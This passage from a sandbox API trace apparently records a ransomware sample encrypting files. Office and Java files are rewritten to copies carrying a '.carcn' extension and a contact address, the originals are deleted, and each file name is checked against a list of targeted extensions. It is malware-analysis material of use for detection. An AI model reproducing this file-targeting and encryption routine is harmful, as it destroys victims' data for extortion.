lpNewFilePointer=0x0) returned 1 [0178.351] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.351] GetLastError () returned 0x0 [0178.351] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0178.373] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0178.373] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.373] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.374] SetEndOfFile (hFile=0x380) returned 1 [0178.374] CloseHandle (hObject=0x380) returned 1 [0178.374] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.374] SetEndOfFile (hFile=0x31c) returned 1 [0178.375] CloseHandle (hObject=0x31c) returned 1 [0178.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.375] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0178.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.376] lstrlenW (lpString=".doc") returned 4 [0178.376] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0178.376] lstrlenW (lpString=".docx") returned 5 [0178.376] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0178.376] lstrlenW (lpString=".pdf") returned 4 [0178.376] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0178.376] lstrlenW (lpString=".xls") returned 4 [0178.376] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0178.376] lstrlenW (lpString=".xlsx") returned 5 [0178.376] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0178.376] lstrlenW (lpString=".ppt") returned 4 [0178.376] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0178.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.376] lstrlenW (lpString=".zip") returned 4 [0178.376] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0178.376] lstrlenW (lpString=".rar") returned 4 [0178.376] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0178.376] lstrlenW (lpString=".bz2") returned 4 [0178.376] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0178.376] lstrlenW (lpString=".7z") returned 3 [0178.376] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0178.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.376] lstrlenW (lpString=".dbf") returned 4 [0178.376] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0178.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.376] lstrlenW (lpString=".1cd") returned 4 [0178.377] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString=".jpg") returned 4 [0178.377] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString=".doc") returned 4 [0178.377] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0178.377] lstrlenW (lpString=".docx") returned 5 [0178.377] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0178.377] lstrlenW (lpString=".pdf") returned 4 [0178.377] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0178.377] lstrlenW (lpString=".xls") returned 4 [0178.377] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0178.377] lstrlenW (lpString=".xlsx") returned 5 [0178.377] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0178.377] lstrlenW (lpString=".ppt") returned 4 [0178.377] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString=".zip") returned 4 [0178.377] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0178.377] lstrlenW (lpString=".rar") returned 4 [0178.377] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0178.377] lstrlenW (lpString=".bz2") returned 4 [0178.377] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0178.377] lstrlenW (lpString=".7z") returned 3 [0178.377] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString=".dbf") returned 4 [0178.377] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString=".1cd") returned 4 [0178.377] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0178.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0178.377] lstrlenW (lpString=".jpg") returned 4 [0178.378] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0178.378] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.378] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0178.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.378] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=281) returned 1 [0178.378] CloseHandle (hObject=0x31c) returned 1 [0178.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0178.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.378] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.378] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.379] GetLastError () returned 0x0 [0178.379] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x119, lpOverlapped=0x0) returned 1 [0178.379] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x120, lpOverlapped=0x0) returned 1 [0178.380] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.380] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x100, lpOverlapped=0x0) returned 1 [0178.982] SetEndOfFile (hFile=0x380) returned 1 [0178.982] CloseHandle (hObject=0x380) returned 1 [0178.983] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.983] SetEndOfFile (hFile=0x31c) returned 1 [0178.984] CloseHandle (hObject=0x31c) returned 1 [0178.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0178.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0178.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.984] lstrlenW (lpString=".doc") returned 4 [0178.984] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.984] lstrlenW (lpString=".docx") returned 5 [0178.984] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0178.984] lstrlenW (lpString=".pdf") returned 4 [0178.984] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.984] lstrlenW (lpString=".xls") returned 4 [0178.984] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString=".xlsx") returned 5 [0178.985] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0178.985] lstrlenW (lpString=".ppt") returned 4 [0178.985] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.985] lstrlenW (lpString=".zip") returned 4 [0178.985] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.985] lstrlenW (lpString=".rar") returned 4 [0178.985] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString=".bz2") returned 4 [0178.985] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString=".7z") returned 3 [0178.985] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.985] lstrlenW (lpString=".dbf") returned 4 [0178.985] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.985] lstrlenW (lpString=".1cd") returned 4 [0178.985] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.985] lstrlenW (lpString=".jpg") returned 4 [0178.985] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.985] lstrlenW (lpString=".doc") returned 4 [0178.985] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString=".docx") returned 5 [0178.985] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0178.985] lstrlenW (lpString=".pdf") returned 4 [0178.985] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString=".xls") returned 4 [0178.985] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.985] lstrlenW (lpString=".xlsx") returned 5 [0178.985] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0178.985] lstrlenW (lpString=".ppt") returned 4 [0178.985] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.986] lstrlenW (lpString=".zip") returned 4 [0178.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.986] lstrlenW (lpString=".rar") returned 4 [0178.986] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.986] lstrlenW (lpString=".bz2") returned 4 [0178.986] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.986] lstrlenW (lpString=".7z") returned 3 [0178.986] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.986] lstrlenW (lpString=".dbf") returned 4 [0178.986] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.986] lstrlenW (lpString=".1cd") returned 4 [0178.986] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0178.986] lstrlenW (lpString=".jpg") returned 4 [0178.986] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.986] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.986] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0178.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.986] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0178.986] CloseHandle (hObject=0x31c) returned 1 [0178.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0178.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.987] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.987] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.987] GetLastError () returned 0x0 [0178.987] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0179.151] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0179.152] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.152] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0179.152] SetEndOfFile (hFile=0x380) returned 1 [0179.152] CloseHandle (hObject=0x380) returned 1 [0179.153] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.153] SetEndOfFile (hFile=0x31c) returned 1 [0179.192] CloseHandle (hObject=0x31c) returned 1 [0179.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0179.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.192] lstrlenW (lpString=".doc") returned 4 [0179.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0179.192] lstrlenW (lpString=".docx") returned 5 [0179.192] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0179.192] lstrlenW (lpString=".pdf") returned 4 [0179.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString=".xls") returned 4 [0179.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString=".xlsx") returned 5 [0179.193] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0179.193] lstrlenW (lpString=".ppt") returned 4 [0179.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.193] lstrlenW (lpString=".zip") returned 4 [0179.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0179.193] lstrlenW (lpString=".rar") returned 4 [0179.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString=".bz2") returned 4 [0179.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString=".7z") returned 3 [0179.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.193] lstrlenW (lpString=".dbf") returned 4 [0179.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.193] lstrlenW (lpString=".1cd") returned 4 [0179.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.193] lstrlenW (lpString=".jpg") returned 4 [0179.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.193] lstrlenW (lpString=".doc") returned 4 [0179.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString=".docx") returned 5 [0179.193] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0179.193] lstrlenW (lpString=".pdf") returned 4 [0179.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0179.193] lstrlenW (lpString=".xls") returned 4 [0179.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0179.194] lstrlenW (lpString=".xlsx") returned 5 [0179.194] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0179.194] lstrlenW (lpString=".ppt") returned 4 [0179.194] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.194] lstrlenW (lpString=".zip") returned 4 [0179.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0179.194] lstrlenW (lpString=".rar") returned 4 [0179.194] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0179.194] lstrlenW (lpString=".bz2") returned 4 [0179.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0179.194] lstrlenW (lpString=".7z") returned 3 [0179.194] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.194] lstrlenW (lpString=".dbf") returned 4 [0179.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.194] lstrlenW (lpString=".1cd") returned 4 [0179.194] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0179.194] lstrlenW (lpString=".jpg") returned 4 [0179.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0179.194] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0179.194] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0179.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0179.233] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=253712) returned 1 [0179.233] CloseHandle (hObject=0x31c) returned 1 [0179.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0179.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0179.233] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.233] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0179.233] GetLastError () returned 0x0 [0179.233] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x3df10, lpOverlapped=0x0) returned 1 